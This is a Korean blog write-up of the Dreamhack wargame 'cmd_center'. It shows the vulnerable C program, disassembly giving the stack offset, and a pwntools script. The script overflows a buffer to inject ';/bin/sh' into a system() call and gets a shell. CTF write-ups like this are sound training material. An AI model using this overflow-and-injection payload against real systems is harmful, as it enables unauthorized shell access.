[드림핵 시스템 해킹] Wargame : cmd_center

asdf·2025년 1월 23일

pwnable

목록 보기
35/36

문제


풀이


취약점 분석


Full RELRO, NX, PIE가 적용되어 있습니다.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void init() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
}

int main()
{

	char cmd_ip[256] = "ifconfig";
	int dummy;
	char center_name[24];

	init();

	printf("Center name: ");
	read(0, center_name, 100);


	if( !strncmp(cmd_ip, "ifconfig", 8)) {
		system(cmd_ip);
	}

	else {
		printf("Something is wrong!\n");
	}
	exit(0);
}

read(0, center_name, 100)에서 스택 오버플로우가 가능해 보입니다. system(cmd_ip)에서 /bin/sh를 실행해 셸을 얻을 수 있어 보입니다. cmd_ip의 첫 8 바이트는 ifconfig가 되어야 하므로 ipconfig 뒤에 ;/bin/sh 를 추가해 셸을 얻을 수 있을 것 같습니다.

스택 프레임 구조 파악

   0x0000000000000916 <+105>:   lea    rax,[rbp-0x130]
   0x000000000000091d <+112>:   mov    edx,0x64
   0x0000000000000922 <+117>:   mov    rsi,rax
   0x0000000000000925 <+120>:   mov    edi,0x0
   0x000000000000092a <+125>:   call   0x720 <read@plt>

center_name의 주소는 rbp-0x130,

   0x000000000000092f <+130>:   lea    rax,[rbp-0x110]
   0x0000000000000936 <+137>:   mov    edx,0x8
   0x000000000000093b <+142>:   lea    rsi,[rip+0xd0]        # 0xa12
   0x0000000000000942 <+149>:   mov    rdi,rax
   0x0000000000000945 <+152>:   call   0x6e0 <strncmp@plt>

cmd_ip의 주소는 rbp-0x110입니다.

따라서 center_name과 cmd_ip의 오프셋은 0x20이므로 read(0, center_name, 100); 으로 cmd_ip를 수정해 셸을 얻을 수 있습니다.

아래는 작성한 코드입니다.

from pwn import *

p = remote("host3.dreamhack.games", 11161)
e = ELF("./cmd_center")

payload = b'A' * 0x20
payload += b"ifconfig ;/bin/sh"

p.sendlineafter(b"name: ", payload)

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글